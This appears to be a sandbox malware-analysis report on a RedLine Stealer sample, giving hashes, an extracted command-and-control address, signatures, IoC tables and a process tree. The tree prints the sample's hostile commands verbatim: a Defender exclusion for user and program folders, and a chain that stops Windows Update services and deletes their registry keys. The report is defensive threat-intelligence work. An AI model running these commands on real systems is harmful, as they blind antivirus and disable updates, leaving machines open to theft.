redline | 72ff620722be23a0319e2590e2833772d0643f96bcedaa576b9b50fbc3c3e8d7

Analysis

max time kernel
247s
max time network
301s
platform
windows10-1703_x64
resource
win10-20220901-en
resource tags

arch:x64arch:x86image:win10-20220901-enlocale:en-usos:windows10-1703-x64system
submitted
01/11/2022, 09:57

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

72ff620722be23a0319e2590e2833772d0643f96bcedaa576b9b50fbc3c3e8d7.exe
Size

2.4MB
MD5

2e741b20a9b1a20eb723e30d8f0ce395
SHA1

7bf2f2a5c210ab1d4b1b70b8541550193924722b
SHA256

72ff620722be23a0319e2590e2833772d0643f96bcedaa576b9b50fbc3c3e8d7
SHA512

f946462ef91f5c2f0486d195e51ea3f7694a68797ee0f1910e2e518de1221023ef003772d9d1f3adf0c7d321435085dde6a3b262c65c953060282167a73dc5b9
SSDEEP

24576:nZAsE+YcYdlNbgwM1/lc+7+F+NalOxkey5mILPKTLfSzvHmh/NeCql3RuQ55313S:esgT+85mILPKTkDl3o

Score

10^/10

redline evasion infostealer spyware upx vmprotect

Malware Config

Extracted

Family

redline

62.204.41.141:24758

Attributes

auth_value
3635ab4d86c01914c9036a302ef7c402

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 2 IoCs

resource	yara_rule
behavioral2/memory/150380-125-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline
behavioral2/memory/150380-130-0x000000000041B54E-mapping.dmp	family_redline

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 17196 created 3692	17196	WerFault.exe	25

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

description	pid	Process	procid_target
PID 12044 created 572	12044	powershell.EXE	3
PID 13332 created 4016	13332	svchost.exe	23
PID 13332 created 3692	13332	svchost.exe	25
PID 12024 created 572	12024	powershell.EXE	3
PID 13332 created 3692	13332	svchost.exe	25

Downloads MZ/PE file

Executes dropped EXE 6 IoCs

pid	Process
5184	brave.exe
5232	chrome.exe
5292	ofg.exe
5788	GoogleUpdate.exe
12320	updater.exe
14084	svcupdater.exe

Modifies Windows Firewall 1 TTPs 3 IoCs

evasion

Modify Existing Service

T1031

pid	Process
6608	netsh.exe
6624	netsh.exe
6640	netsh.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000700000001abf3-624.dat	upx
behavioral2/files/0x000700000001abf3-635.dat	upx
behavioral2/memory/5232-642-0x0000000000A40000-0x00000000012DE000-memory.dmp	upx
behavioral2/memory/5232-785-0x0000000000A40000-0x00000000012DE000-memory.dmp	upx

VMProtect packed file 2 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral2/memory/5788-852-0x0000000002FA0000-0x000000000385F000-memory.dmp	vmprotect
behavioral2/memory/5788-1253-0x0000000002FA0000-0x000000000385F000-memory.dmp	vmprotect

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Drops file in System32 directory 6 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE

Suspicious use of SetThreadContext 7 IoCs

description	pid	Process	procid_target
PID 3052 set thread context of 150380	3052	72ff620722be23a0319e2590e2833772d0643f96bcedaa576b9b50fbc3c3e8d7.exe	67
PID 5232 set thread context of 5788	5232	chrome.exe	80
PID 5184 set thread context of 11848	5184	brave.exe	111
PID 12044 set thread context of 12620	12044	powershell.EXE	120
PID 12024 set thread context of 13880	12024	powershell.EXE	124
PID 12320 set thread context of 16956	12320	updater.exe	148
PID 12320 set thread context of 17204	12320	updater.exe	154

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	brave.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Drops file in Windows directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Tasks\dialersvc64.job	dialer.exe
File created	C:\Windows\GoogleUpdate.exe	chrome.exe
File created	C:\Windows\Tasks\dialersvc32.job	dialer.exe
File opened for modification	C:\Windows\Tasks\dialersvc32.job	dialer.exe
File created	C:\Windows\Tasks\dialersvc64.job	dialer.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
15444	sc.exe
15512	sc.exe
15712	sc.exe
10384	sc.exe
10500	sc.exe
10652	sc.exe
15412	sc.exe
10452	sc.exe
10588	sc.exe
15252	sc.exe

Program crash 3 IoCs

pid	pid_target	Process	procid_target
13460	4016	WerFault.exe	23
13448	3692	WerFault.exe	25
17196	3692	WerFault.exe	25

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
5732	SCHTASKS.exe
5440	schtasks.exe
5528	SCHTASKS.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
150380	AppLaunch.exe
5516	powershell.exe
5516	powershell.exe
5516	powershell.exe
6388	powershell.exe
5788	GoogleUpdate.exe
5788	GoogleUpdate.exe
6388	powershell.exe
6388	powershell.exe
10152	powershell.exe
10152	powershell.exe
10152	powershell.exe
11860	powershell.exe
11860	powershell.exe
11860	powershell.exe
12044	powershell.EXE
12044	powershell.EXE
12044	powershell.EXE
12024	powershell.EXE
12024	powershell.EXE
12044	powershell.EXE
12620	dllhost.exe
12620	dllhost.exe
12024	powershell.EXE
12620	dllhost.exe
12620	dllhost.exe
12620	dllhost.exe
12620	dllhost.exe
12620	dllhost.exe
12620	dllhost.exe
12620	dllhost.exe
12620	dllhost.exe
12620	dllhost.exe
12620	dllhost.exe
12620	dllhost.exe
12620	dllhost.exe
12620	dllhost.exe
12620	dllhost.exe
12620	dllhost.exe
12620	dllhost.exe
12620	dllhost.exe
12620	dllhost.exe
12620	dllhost.exe
12620	dllhost.exe
13460	WerFault.exe
13460	WerFault.exe
13460	WerFault.exe
13460	WerFault.exe
13460	WerFault.exe
13460	WerFault.exe
13460	WerFault.exe
13460	WerFault.exe
13460	WerFault.exe
13460	WerFault.exe
13460	WerFault.exe
13460	WerFault.exe
13460	WerFault.exe
13460	WerFault.exe
13460	WerFault.exe
13448	WerFault.exe
13448	WerFault.exe
13448	WerFault.exe
13448	WerFault.exe
13448	WerFault.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3036	Explorer.EXE

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
640	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	150380	AppLaunch.exe
Token: SeDebugPrivilege	5292	ofg.exe
Token: SeDebugPrivilege	5516	powershell.exe
Token: SeDebugPrivilege	6388	powershell.exe
Token: SeIncreaseQuotaPrivilege	6388	powershell.exe
Token: SeSecurityPrivilege	6388	powershell.exe
Token: SeTakeOwnershipPrivilege	6388	powershell.exe
Token: SeLoadDriverPrivilege	6388	powershell.exe
Token: SeSystemProfilePrivilege	6388	powershell.exe
Token: SeSystemtimePrivilege	6388	powershell.exe
Token: SeProfSingleProcessPrivilege	6388	powershell.exe
Token: SeIncBasePriorityPrivilege	6388	powershell.exe
Token: SeCreatePagefilePrivilege	6388	powershell.exe
Token: SeBackupPrivilege	6388	powershell.exe
Token: SeRestorePrivilege	6388	powershell.exe
Token: SeShutdownPrivilege	6388	powershell.exe
Token: SeDebugPrivilege	6388	powershell.exe
Token: SeSystemEnvironmentPrivilege	6388	powershell.exe
Token: SeRemoteShutdownPrivilege	6388	powershell.exe
Token: SeUndockPrivilege	6388	powershell.exe
Token: SeManageVolumePrivilege	6388	powershell.exe
Token: 33	6388	powershell.exe
Token: 34	6388	powershell.exe
Token: 35	6388	powershell.exe
Token: 36	6388	powershell.exe
Token: SeShutdownPrivilege	10324	powercfg.exe
Token: SeCreatePagefilePrivilege	10324	powercfg.exe
Token: SeDebugPrivilege	10152	powershell.exe
Token: SeShutdownPrivilege	10432	powercfg.exe
Token: SeCreatePagefilePrivilege	10432	powercfg.exe
Token: SeShutdownPrivilege	10520	powercfg.exe
Token: SeCreatePagefilePrivilege	10520	powercfg.exe
Token: SeShutdownPrivilege	10600	powercfg.exe
Token: SeCreatePagefilePrivilege	10600	powercfg.exe
Token: SeIncreaseQuotaPrivilege	10152	powershell.exe
Token: SeSecurityPrivilege	10152	powershell.exe
Token: SeTakeOwnershipPrivilege	10152	powershell.exe
Token: SeLoadDriverPrivilege	10152	powershell.exe
Token: SeSystemProfilePrivilege	10152	powershell.exe
Token: SeSystemtimePrivilege	10152	powershell.exe
Token: SeProfSingleProcessPrivilege	10152	powershell.exe
Token: SeIncBasePriorityPrivilege	10152	powershell.exe
Token: SeCreatePagefilePrivilege	10152	powershell.exe
Token: SeBackupPrivilege	10152	powershell.exe
Token: SeRestorePrivilege	10152	powershell.exe
Token: SeShutdownPrivilege	10152	powershell.exe
Token: SeDebugPrivilege	10152	powershell.exe
Token: SeSystemEnvironmentPrivilege	10152	powershell.exe
Token: SeRemoteShutdownPrivilege	10152	powershell.exe
Token: SeUndockPrivilege	10152	powershell.exe
Token: SeManageVolumePrivilege	10152	powershell.exe
Token: 33	10152	powershell.exe
Token: 34	10152	powershell.exe
Token: 35	10152	powershell.exe
Token: 36	10152	powershell.exe
Token: SeIncreaseQuotaPrivilege	10152	powershell.exe
Token: SeSecurityPrivilege	10152	powershell.exe
Token: SeTakeOwnershipPrivilege	10152	powershell.exe
Token: SeLoadDriverPrivilege	10152	powershell.exe
Token: SeSystemProfilePrivilege	10152	powershell.exe
Token: SeSystemtimePrivilege	10152	powershell.exe
Token: SeProfSingleProcessPrivilege	10152	powershell.exe
Token: SeIncBasePriorityPrivilege	10152	powershell.exe
Token: SeCreatePagefilePrivilege	10152	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1004	dwm.exe
1004	dwm.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3052 wrote to memory of 150380	3052	72ff620722be23a0319e2590e2833772d0643f96bcedaa576b9b50fbc3c3e8d7.exe	67
PID 3052 wrote to memory of 150380	3052	72ff620722be23a0319e2590e2833772d0643f96bcedaa576b9b50fbc3c3e8d7.exe	67
PID 3052 wrote to memory of 150380	3052	72ff620722be23a0319e2590e2833772d0643f96bcedaa576b9b50fbc3c3e8d7.exe	67
PID 3052 wrote to memory of 150380	3052	72ff620722be23a0319e2590e2833772d0643f96bcedaa576b9b50fbc3c3e8d7.exe	67
PID 3052 wrote to memory of 150380	3052	72ff620722be23a0319e2590e2833772d0643f96bcedaa576b9b50fbc3c3e8d7.exe	67
PID 150380 wrote to memory of 5184	150380	AppLaunch.exe	69
PID 150380 wrote to memory of 5184	150380	AppLaunch.exe	69
PID 150380 wrote to memory of 5232	150380	AppLaunch.exe	70
PID 150380 wrote to memory of 5232	150380	AppLaunch.exe	70
PID 150380 wrote to memory of 5232	150380	AppLaunch.exe	70
PID 150380 wrote to memory of 5292	150380	AppLaunch.exe	71
PID 150380 wrote to memory of 5292	150380	AppLaunch.exe	71
PID 5292 wrote to memory of 5364	5292	ofg.exe	72
PID 5292 wrote to memory of 5364	5292	ofg.exe	72
PID 5364 wrote to memory of 5440	5364	cmd.exe	74
PID 5364 wrote to memory of 5440	5364	cmd.exe	74
PID 5232 wrote to memory of 5516	5232	chrome.exe	75
PID 5232 wrote to memory of 5516	5232	chrome.exe	75
PID 5232 wrote to memory of 5516	5232	chrome.exe	75
PID 5232 wrote to memory of 5528	5232	chrome.exe	76
PID 5232 wrote to memory of 5528	5232	chrome.exe	76
PID 5232 wrote to memory of 5528	5232	chrome.exe	76
PID 5232 wrote to memory of 5732	5232	chrome.exe	79
PID 5232 wrote to memory of 5732	5232	chrome.exe	79
PID 5232 wrote to memory of 5732	5232	chrome.exe	79
PID 5232 wrote to memory of 5788	5232	chrome.exe	80
PID 5232 wrote to memory of 5788	5232	chrome.exe	80
PID 5232 wrote to memory of 5788	5232	chrome.exe	80
PID 5232 wrote to memory of 5788	5232	chrome.exe	80
PID 5232 wrote to memory of 5788	5232	chrome.exe	80
PID 5232 wrote to memory of 5788	5232	chrome.exe	80
PID 5232 wrote to memory of 5788	5232	chrome.exe	80
PID 5232 wrote to memory of 5788	5232	chrome.exe	80
PID 5232 wrote to memory of 5788	5232	chrome.exe	80
PID 5184 wrote to memory of 6388	5184	brave.exe	82
PID 5184 wrote to memory of 6388	5184	brave.exe	82
PID 5788 wrote to memory of 6608	5788	GoogleUpdate.exe	84
PID 5788 wrote to memory of 6608	5788	GoogleUpdate.exe	84
PID 5788 wrote to memory of 6608	5788	GoogleUpdate.exe	84
PID 5788 wrote to memory of 6624	5788	GoogleUpdate.exe	85
PID 5788 wrote to memory of 6624	5788	GoogleUpdate.exe	85
PID 5788 wrote to memory of 6624	5788	GoogleUpdate.exe	85
PID 5788 wrote to memory of 6640	5788	GoogleUpdate.exe	86
PID 5788 wrote to memory of 6640	5788	GoogleUpdate.exe	86
PID 5788 wrote to memory of 6640	5788	GoogleUpdate.exe	86
PID 5184 wrote to memory of 10116	5184	brave.exe	91
PID 5184 wrote to memory of 10116	5184	brave.exe	91
PID 5184 wrote to memory of 10128	5184	brave.exe	92
PID 5184 wrote to memory of 10128	5184	brave.exe	92
PID 5184 wrote to memory of 10152	5184	brave.exe	93
PID 5184 wrote to memory of 10152	5184	brave.exe	93
PID 10128 wrote to memory of 10324	10128	cmd.exe	97
PID 10128 wrote to memory of 10324	10128	cmd.exe	97
PID 10116 wrote to memory of 10384	10116	cmd.exe	98
PID 10116 wrote to memory of 10384	10116	cmd.exe	98
PID 10128 wrote to memory of 10432	10128	cmd.exe	99
PID 10128 wrote to memory of 10432	10128	cmd.exe	99
PID 10116 wrote to memory of 10452	10116	cmd.exe	100
PID 10116 wrote to memory of 10452	10116	cmd.exe	100
PID 10116 wrote to memory of 10500	10116	cmd.exe	101
PID 10116 wrote to memory of 10500	10116	cmd.exe	101
PID 10128 wrote to memory of 10520	10128	cmd.exe	102
PID 10128 wrote to memory of 10520	10128	cmd.exe	102
PID 10116 wrote to memory of 10588	10116	cmd.exe	103

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:648

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:572
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  - Suspicious use of FindShellTrayWindow
  PID:1004
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{2288c2a9-1480-444e-8cb4-66d468cf8920}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:12620
- C:\Windows\SysWOW64\dllhost.exe
  C:\Windows\SysWOW64\dllhost.exe /Processid:{fb470cb7-45b1-4ca8-919b-95242dcb6749}
  2⤵
  PID:13880

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:376

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1168

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1416

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s Dnscache
1⤵
PID:1608

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2012

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
PID:2388

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks
1⤵
PID:2636

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:3036
- C:\Users\Admin\AppData\Local\Temp\72ff620722be23a0319e2590e2833772d0643f96bcedaa576b9b50fbc3c3e8d7.exe
  "C:\Users\Admin\AppData\Local\Temp\72ff620722be23a0319e2590e2833772d0643f96bcedaa576b9b50fbc3c3e8d7.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:3052
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:150380
  - - C:\Users\Admin\AppData\Local\Microsoft\brave.exe
      "C:\Users\Admin\AppData\Local\Microsoft\brave.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Drops file in Program Files directory
      Suspicious use of WriteProcessMemory
      PID:5184
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:6388
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:10116
      - C:\Windows\system32\sc.exe
        
        sc stop UsoSvc
        6⤵
        Launches sc.exe
        
        PID:10384
      - C:\Windows\system32\sc.exe
        
        sc stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        
        PID:10452
      - C:\Windows\system32\sc.exe
        
        sc stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:10500
      - C:\Windows\system32\sc.exe
        
        sc stop bits
        6⤵
        Launches sc.exe
        
        PID:10588
      - C:\Windows\system32\sc.exe
        
        sc stop dosvc
        6⤵
        Launches sc.exe
        
        PID:10652
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
        6⤵
        
        PID:10680
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
        6⤵
        
        PID:10716
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
        6⤵
        Modifies security service
        
        PID:10748
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
        6⤵
        
        PID:10788
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
        6⤵
        
        PID:10812
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:10128
      - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-ac 0
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:10324
      - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-dc 0
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:10432
      - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:10520
      - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-dc 0
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:10600
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
